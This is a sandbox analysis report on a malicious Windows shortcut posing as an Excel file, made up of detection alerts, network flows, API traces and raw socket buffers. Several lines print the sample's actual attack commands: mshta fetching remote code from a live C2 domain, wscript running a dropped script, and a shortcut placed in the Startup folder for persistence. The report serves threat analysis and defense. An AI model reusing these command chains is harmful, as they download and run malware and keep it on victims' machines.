popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Profit and Loss Statement.xlsx.lnk

Generic Malware Downloader FTP Code injection DGA HTTP Socket Escalate priviledges Create Service KeyLogger P2P Internet API DNS Http API Steal credential ScreenShot Sniff Audio GIF Format AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 23, 2021, 10:21 a.m. Oct. 23, 2021, 10:25 a.m.
Size 22.3KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Working directory, Has command line arguments, Icon number=24, Archive, ctime=Sun Feb 16 21:46:36 2020, mtime=Mon Sep 28 16:46:47 2020, atime=Sun Feb 16 21:46:36 2020, length=280064, window=hide
MD5 a0c1ca01548be7690f2976742f068e67
SHA256 9d6fdb5344f64e059043980c5bb80e9c8986f1a5a62d7d7871144b388df65262
CRC32 2B249EFB
ssdeep 192:8xB4MFv6PaJwa7Hs+KmIUBfIJL2V++lNhJ8xObpGUyeaHu8LmCKminVN4arzIIWb:IjyPaTskgAc+HD1bpBypusKIQstlX6G
Yara
  • Generic_Malware_Zero - Generic Malware
  • Lnk_Format_Zero - LNK Format

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49176 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49184 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49188 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49194 -> 142.250.66.46:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 117.18.232.200:443 -> 192.168.56.103:49191 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.103:49201 -> 142.250.204.46:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49203 -> 142.250.204.110:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 117.18.232.200:443 -> 192.168.56.103:49193 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.103:49171 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49208 -> 142.250.66.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49223 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49206 -> 142.250.66.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49220 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49210 -> 142.250.66.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49202 -> 142.250.66.138:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49186 -> 117.18.232.200:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49187 -> 117.18.232.200:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49189 -> 117.18.232.200:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49190 -> 117.18.232.200:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49207 -> 142.250.66.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49217 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49211 -> 142.250.66.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49219 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49216 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49222 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49226 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49229 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49225 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49195 -> 142.250.66.46:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49227 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49200 -> 142.250.204.46:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49228 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49204 -> 142.250.66.138:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49209 -> 142.250.66.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49230 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49176
149.28.162.113:443 		None None None
TLSv1
192.168.56.103:49184
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49194
142.250.66.46:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.google.com 34:f2:1e:53:07:94:5c:7d:ef:2c:d7:21:4d:3a:d2:8d:02:03:60:bf
TLSv1
192.168.56.103:49188
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49201
142.250.204.46:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.google.com 34:f2:1e:53:07:94:5c:7d:ef:2c:d7:21:4d:3a:d2:8d:02:03:60:bf
TLSv1
192.168.56.103:49203
142.250.204.110:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.google-analytics.com ad:1f:ae:67:67:34:63:1c:e5:ac:37:c2:88:8a:92:34:8c:6b:a3:b0
TLSv1
192.168.56.103:49171
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49208
142.250.66.99:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.gstatic.com b7:c0:7e:9a:54:ca:6d:c1:4a:4e:c0:7f:ea:f0:df:2d:86:10:a8:9a
TLSv1
192.168.56.103:49223
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49206
142.250.66.99:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.gstatic.com b7:c0:7e:9a:54:ca:6d:c1:4a:4e:c0:7f:ea:f0:df:2d:86:10:a8:9a
TLSv1
192.168.56.103:49220
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49202
142.250.66.138:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=upload.video.google.com c5:11:f7:e2:30:7f:3e:fd:a5:5e:98:6c:9f:37:86:55:2f:83:6e:f4
TLSv1
192.168.56.103:49210
142.250.66.99:443 		None None None
TLSv1
192.168.56.103:49207
142.250.66.99:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.gstatic.com b7:c0:7e:9a:54:ca:6d:c1:4a:4e:c0:7f:ea:f0:df:2d:86:10:a8:9a
TLSv1
192.168.56.103:49217
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49219
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49211
142.250.66.99:443 		None None None
TLSv1
192.168.56.103:49216
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49222
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49226
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49229
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49225
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49195
142.250.66.46:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.google.com 34:f2:1e:53:07:94:5c:7d:ef:2c:d7:21:4d:3a:d2:8d:02:03:60:bf
TLSv1
192.168.56.103:49227
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49200
142.250.204.46:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.google.com 34:f2:1e:53:07:94:5c:7d:ef:2c:d7:21:4d:3a:d2:8d:02:03:60:bf
TLSv1
192.168.56.103:49228
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95
TLSv1
192.168.56.103:49204
142.250.66.138:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=upload.video.google.com c5:11:f7:e2:30:7f:3e:fd:a5:5e:98:6c:9f:37:86:55:2f:83:6e:f4
TLSv1
192.168.56.103:49209
142.250.66.99:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.gstatic.com b7:c0:7e:9a:54:ca:6d:c1:4a:4e:c0:7f:ea:f0:df:2d:86:10:a8:9a
TLSv1
192.168.56.103:49230
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=stablemarket.org 2b:56:85:9a:ca:17:73:6d:53:78:c7:1c:d2:2d:28:b2:92:c0:c7:95

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: 1 file(s) moved.
console_handle: 0x00000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features POST method with no referer header suspicious_request POST https://share.stablemarket.org/
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
request GET https://share.stablemarket.org/Y5qbOQiIlBomxCjPRFzyiLSvyddx/P1xM4diDmKxL3I=
request GET https://docs.google.com/spreadsheets/d/1CTWarBPpx6kQjpevxr7qeQGPenjAR_7H/edit?usp=sharing&ouid=118006626630144401406&rtpof=true&sd=true
request POST https://share.stablemarket.org/
request GET https://support.google.com/drive/answer/6283888
request GET https://fonts.googleapis.com/css2?family=Google+Sans+Text:wght@400;500;700
request GET https://www.google-analytics.com/analytics.js
request GET https://fonts.gstatic.com/s/googlesanstext/v16/5aUp9-KzpRiLCAt4Unrc-xIKmCU5oPFTrmw.woff
request GET https://fonts.gstatic.com/s/googlesanstext/v16/5aUp9-KzpRiLCAt4Unrc-xIKmCU5oLlVrmw.woff
request GET https://fonts.gstatic.com/s/googlesanstext/v16/5aUu9-KzpRiLCAt4Unrc-xIKmCU5mE4.woff
request GET https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxM.woff
request GET https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmWUlfBBc-.woff
request GET https://support.google.com/favicon.ico
request POST https://share.stablemarket.org/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04510000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04510000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04511000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04511000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04511000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04512000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04513000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04514000
process_handle: 0xffffffff
1 0 0
description wscript.exe tried to sleep 120 seconds, actually delayed analysis time by 120 seconds
domain docs.google.com
file C:\Users\test22\AppData\Local\Temp\UserAssist.lnk
file C:\Users\test22\AppData\Local\Temp\pdgx.js
file C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UserAssist.lnk
file C:\Users\test22\AppData\Local\Temp\UserAssist.lnk
file C:\Users\test22\AppData\Local\Temp\Profit and Loss Statement.xlsx.lnk
cmdline C:\Windows\System32\mshta https://share.stablemarket.org/Y5qbOQiIlBomxCjPRFzyiLSvyddx/P1xM4diDmKxL3I=
cmdline "C:\Windows\System32\cmd.exe" /c start /b wscript "C:\Users\test22\AppData\Local\Temp\pdgx.js" share.stablemarket.org/ 1 & start /b wscript "C:\Users\test22\AppData\Local\Temp\pdgx.js" share.stablemarket.org/ 2 & move "C:\Users\test22\AppData\Local\Temp\UserAssist.lnk" "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
cmdline "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://share.stablemarket.org/Y5qbOQiIlBomxCjPRFzyiLSvyddx/P1xM4diDmKxL3I=
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c start /b wscript "C:\Users\test22\AppData\Local\Temp\pdgx.js" share.stablemarket.org/ 1 & start /b wscript "C:\Users\test22\AppData\Local\Temp\pdgx.js" share.stablemarket.org/ 2 & move "C:\Users\test22\AppData\Local\Temp\UserAssist.lnk" "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
filepath: cmd
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 16 (PAGE_EXECUTE)
base_address: 0x04510000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
url https://share.stablemarket.org/Y5qbOQiIlBomxCjPRFzyiLSvyddx/P1xM4diDmKxL3I=
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Steal credential rule local_credential_Steal
description Communications use DNS rule Network_DNS
description Match Windows Inet API call rule Str_Win32_Internet_API
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Run a KeyLogger rule KeyLogger
description Communications over FTP rule Network_FTP
description Escalate priviledges rule Escalate_priviledges
description File Downloader rule Network_Downloader
description Take ScreenShot rule ScreenShot
description Match Windows Http API call rule Str_Win32_Http_API
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Steal credential rule local_credential_Steal
description Communications use DNS rule Network_DNS
description Match Windows Inet API call rule Str_Win32_Internet_API
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Run a KeyLogger rule KeyLogger
description Communications over FTP rule Network_FTP
host 117.18.232.200
Time & API Arguments Status Return Repeated

WSASend

 buffer: yuasd" 7E—õJ\KÝwm`³‰xûR=#{M/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 596
0 0

WSASend

 buffer: FBA1iÞï«ÿ1aa$&xF ñŠÊ{Òc’ ÜiE¢Dä§2j™U´éy˜82Šò8íLæ…/Ò«{´‘0ïèyTÈÐM9*ƒô7PmÚö.4û> µ—ê›ãX$ñC{‡N#lA–*è¶í
socket: 596
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: ÄÖzšAëÐäØG²Âڏbi?Y+ÕùäJoÚÏçô;)Ý|BoP0'ûrìwOªÔø^ݙ®ã11j1îÓèàƒ¿H—Ì‘}ÐQÝ_­È$‘s»{{Às%cƒí…~sU'3~E÷§žíÊAÙkZÔù‰äJ-:#$W at6Ò ^E÷tã%åÃØ(«¼™íÆ#~0àê¼PÒÚÔÄ3²Tqf޳™èѲˆF©y[jŸˬ4E½‹M-j4 ªüµ•ûyZryº ‰é}§GN¼4sœûyÚWÁ$¹(ÀÂ|­j—ubnðizŠŸwÓÞ=0^í=‹\Ê¥>Ô 6y
socket: 596
0 0

WSASend

 buffer:  ŠP“0¦#eM"ƒ-þ:‹­ƒW1m”ŠºÃ¤'OwŸ«
socket: 596
0 0

WSASend

 buffer:  $õË'sû¶Jèwa¶Xó±F÷òÿí%á UÛcx6Æ
socket: 596
0 0

WSASend

 buffer: yuasd3âž>à% NM”ÞŠ#iôãp2â ؍á¡ÿ/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 1124
0 0

WSASend

 buffer: FBA*"&Ãq`‚ Ì8UŽ“áŽu£f¡Ç*3ÕQïûeñfwáabV·/útõQpÒÇSßÓ¸œŸƒ?w‰GoÔÓ0u[5è=õüë§&M»±°µxƒ|¯ïßóòÕ?zî¢ãJJû¶î)‘|åwg­
socket: 1124
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: /Z›LŒK;͜Àš[îاÝrU¼eçÛê;ëH|’´à|˜p nÍG F‡0&dDC/yzNý°Úý†r\øÙ«qZÍ„2 6èӝp<vèãïmñ; ¢°ìôÖµ3º‰}û:#‡Á•BÖ T°9Ùw¼‚Ám è‰DƒqoL7vçæ,®+ö¾ýyƒÛA"3.^yÝl¦wÖÔjt¬ø'»öyãd›E*êS“¬$Å*óNüâ߸GŒD’ÄixG=–I.nù‹¹®Wyº¯â‚[[dGgý›û:`Ð•®ëoøð­<º¨áÅŽí~Ñ¢iº ÷ œ¿½|ý¨ÇÈ]tÁDÉ
socket: 1124
0 0

WSASend

 buffer:  Ó´™À8-T‚ˆ\æãBþ–€çb²¯ìí‚ÅäÁà`[D
socket: 1124
0 0

WSASend

 buffer:  %ÐbNnwTÍ·D!^¥Áàk ÀCXBÛBk%$
socket: 1124
0 0

WSASend

 buffer: yuasdCÌC²¿¿-G$ ¤¾c(:Ìbò'ødÕù²O£/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 420
0 0

WSASend

 buffer: FBAbŠ´¬ÌŠ§×$ ¤nzzûx%èXÐëøW?åQxGªâ×ê~ã 4å(fd³˜4ꃓNn¯‘J%_§YT0ÏÓ¹n[gõ,ã¯úÖô/•Œ =3÷;´Mx$%ÛZP÷Â7<o$Vç»
socket: 420
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: ¢µÀ4¤K¨è¹]óÙ.2 §?ˆ4á2N¯ãŲwSŒ#ýKÍ5§7}à@§ä GKuD¥­Ï-DV弡䐃o1x8[?kkÎf§åŸÕ¹eҀéuOn ƒ±Í¿´Z&+ ‚ÃEzejª}1ԄEAu]>‹Ì„‘êMìûû!.ŽªnLoƒVêmN£…N^ _ê4 Ö¡ìþµÆÙ)ðù˜6çxˆI›7ßcj.Äñâj’²cÒ&—C¾µI+㸻ˎ1U´nQPß%=&PsàÒ+•+$}ù qgó„$šˆXWÏÎЏ¨Gµ¼ö00¬yç<¥“’6^¹4]q Ô,}¿»ÃœuWC“
socket: 420
0 0

WSASend

 buffer:  HÜÞHÊåö§‘­÷šApjM{këYÔ·:ãÕÜqe·
socket: 420
0 0

WSASend

 buffer:  ¨¹¸óo@ÿh?ÚþŒ"E©ãðõ€ñ¿ŸÜÏ
socket: 420
0 0

WSASend

 buffer: yuasdSûcT©'A¯µB~:ë€þ…ADÁ2Az|.2ò/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 404
0 0

WSASend

 buffer: FBAÍ\SK¡=b´} ù‹­ûÅ=èåÿ’4¥‡ÖmÒz’É»¥]ouä æ]MæZqymIüðŠ ˜*îÐý02M½C…ôXþo£B-³¦ S©:í ú“~ƒËF|&È°˜„ÑKOñNtbKE
socket: 404
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: soґnÉq‰Ê@>ŠñiZÎÕ¾;á¬G•‡jêú®¶A`a?=Ÿ†…¬xh[Pï«ÐjôCNÂ]²YôxƒÉÌá5ð›Y¼?Ãěªsl­#²©¹ÿŒ$>CŽPH0½:ží–ùՏºäq±Ç´ÁaMǃní,WWíXkéšÏðŸA2é«x‘Ù}lO• ؆´OÑnÆÇ;÷‘"Þ§ë&Bes«8ڟOl(ð|;jgð"ˆ®˜ð͚öµxZ:;°AÔ@kßaIaeìtÓ ‹&GÓé1ÙIœz9CKïÌ+Ác[ã{í U9»”eÕsA“Ý€fÞ19ÝYv¢õÚ[Õ>Ȁ@~¾ô€aX¼¸Ì»Ç
socket: 404
0 0

WSASend

 buffer:  À¿vS7‹{þë³”©üŠGtç †Qzã–:Ë=v
socket: 404
0 0

WSASend

 buffer:  dé΁˜8 ˆ½K"#g·çQêªPîgY‘8À¶Ã
socket: 404
0 0

WSASend

 buffer: yuasdcIˆ×jáŸoBÀa“Ør츤ðù?GgÇ/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 412
0 0

WSASend

 buffer: FBAñ”ÊÚ祜øàæŸ+¢·w„Å\?8[– º@­ßê ÔÇQ­uvey³ýF]ý šªþ¹ÎvD—¬£‘ž0l”ÿ®uÙÑñǧÛLoϞÿ¤§é„KŸŸdRS;¸)Ý5‚»©–ÝÊ4¼oàÓzâ
socket: 412
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: 4ʛ«Ôl“®¸¹0ºuéA—qØç3D0Ÿ96¶Q<šÝ¬Ð‘áq´¨Ê€éªaY–§'ò_ÙrÕ:­ï¥7¡ë™‚¦ÔI\Ϋï3S•(Õ¿N‰»è>uP€¶E“vµS¨ƒùç=d0|= …ÑÃKÇG[SîO+š…§`’,££•¡x±Ãp(z3†FóÊzÈ]p†z'˜B×=ËÓ¼ O¾ýš©L(%)ÕõÖ11wÆâœó{u ‹Më®UØ:79Diƒ”ˆ¬ÅKT»£3ìáà|¹ò¯l¤r7’¶©§… ÔËSDS÷ƒà ™2ãŽ'#ÏÊçàÛò¶ÓÛZ/Zÿ°«Ï3ÑÑ°7
socket: 412
0 0

WSASend

 buffer:  éÄW8j¹9Àž­ˆ\<!üRusÃìad Ëö‰N•W
socket: 412
0 0

WSASend

 buffer:  ß]ïДwuñœr¹Ç2/÷ßëå.›Ü‡L³ÉFŽ  
socket: 412
0 0

WSASend

 buffer: yuasdsÑ;½ðRpe°ÃzϹôÝvÄö‘ýö{ÿ|Ü<Ñz/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 568
0 0

WSASend

 buffer: FBA°d:€vÝjz˵¾K¸’“bê笼r!MûÏ Ãï­ê>÷Xüt¼Ãw¯O/E”f "R¹*òË0½Yr“¨ÈNº–Ïs2¢S+±É b¿ÆFôä±\©/Þ¹™¼>ñ¾F$ü
socket: 568
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: §ëaP É]ºk'¯ŽŸPÞK¢›„´þLè0éÜ-e_Ƅõ“þ”Áf$ÁâùïAËid;ÚÐå»ez0O󝗭r€„Ç™J9ÅM|K¼XQ2Yxûú{ž)ø~rFǖg*((î+‘˜r·êÕ&ÉåFÎãßúA£T‘æò çhB¾ƒ/=Qì3ݘŒïeÎèe%ícq¹‹¦vðNS«Ü¸íE-ð¿á#UJ«jÃcfLtÀçü´UIê>ØiƒPlp-„–ÕDzxËpO¨îYR4Ő¾mGUD[)ý¯`2àm³ b¢¯ÛÚWa9§Z*°=¦}.¸5vUÛ1 &‹!‘4
socket: 568
0 0

WSASend

 buffer:  7äb…AáԆí_¤áJGˆ ­‹1~Z¡•Po
socket: 568
0 0

WSASend

 buffer:  I/eÉ⢛c^´  û+×¾…¾È]ܳ®ü..
socket: 568
0 0

WSASend

